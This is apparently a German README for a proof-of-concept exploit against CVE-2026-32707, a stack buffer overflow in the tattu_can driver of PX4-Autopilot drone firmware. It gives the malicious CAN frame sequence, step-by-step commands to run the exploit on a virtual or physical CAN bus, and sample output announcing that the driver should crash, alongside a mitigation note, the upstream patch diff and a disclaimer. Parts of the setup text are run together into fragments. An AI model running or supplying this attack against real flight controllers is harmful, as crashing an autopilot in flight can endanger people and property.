
Proof-of-Concept-Exploit für CVE-2026-32707, einen Stack-Pufferüberlauf im tattu_can-Treiber von PX4-Autopilot, der einen Denial-of-Service über manipulierte CAN-Frames verursacht.
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
Dieses Repository enthält einen Proof-of-Concept-Exploit (PoC) für CVE-2026-32707, einen stackbasierten Pufferüberlauf im tattu_can-Treiber der PX4-Autopilot-Flugsteuerungs-Firmware (Versionen ≤ 1.17.0-rc1). Die Schwachstelle liegt in der Routine zur Zusammenstellung von Multi-Frame-Nachrichten: Beim Wiederzusammensetzen einer Tattu12SBatteryMessage-Struktur auf dem Stack führt der Treiber unbegrenzte memcpy()-Operationen durch, ohne den kumulativen Offset gegen die Puffergröße (48 Bytes) zu prüfen. Ein Angreifer, der CAN-Frames in denselben Bus einspeisen kann, kann den Überlauf auslösen, was zu einer Stack-Korruption und anschließendem Absturz (Denial of Service) des PX4-Prozesses führt.
sequenceDiagram
participant Attacker as Angreifer (CAN-Knoten)
participant CANbus as CAN-Bus
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Start-Frame (DLC=8, data[7]=0x80)
CANbus->>PX4: Start-of-Transfer empfangen
PX4->>PX4: tattu_message-Puffer (48 Bytes)<br/>Kopier-Offset=5 Bytes
loop Überlaufframes (7x)
Attacker->>CANbus: Überlaufframe (DLC=8, Payload 7 Bytes)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Letzter Überlaufframe (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → STACK-ÜBERLAUF
PX4-->>PX4: Absturz (Segfault / Hard Fault)
Note over PX4: Denial of Service
tattu_can-Treiber3f04b7a)python-canCAP_NET_RAW) zum Senden von rohen CAN-Framescan0 oder virtuelles vcan0)# Repository klonen
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# python-can installieren
pip3 install python-can
# (Optional) Virtuelle CAN-Schnittstelle für Tests erstellen
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <can_interface>
# Exploit über virtuelle CAN-Schnittstelle (für Simulation/Tests)
sudo python3 exploit.py vcan0
# Exploit über physischen CAN-Bus
sudo python3 exploit.py can0
0x80 gesetzt, was dem Treiber signalisiert, eine neue Tattu12SBatteryMessage zusammenzustellen und die ersten 5 Bytes in den Stack-Puffer zu kopieren.memcpy() aus, das über die Puffergrenze hinaus schreibt und den Stack-Frame korrumpiert.[*] Sende Start-of-Transfer-Frame auf vcan0 (can_id=0x00000123)
[*] Sende 7 Überlaufframes (jeder kopiert 7 Bytes)...
[*] Sende letzten Überlaufframe...
[+] Angriffssequenz abgeschlossen. Der PX4 tattu_can-Treiber sollte jetzt abstürzen.
tattu_can-Treiber, falls nicht benötigt (tattu_can stop oder aus dem Build entfernen).3f04b7a):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aDieser Proof-of-Concept wird nur für Bildungs- und Sicherheitstestzwecke bereitgestellt. Verwenden Sie ihn nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diesen Code verursacht werden.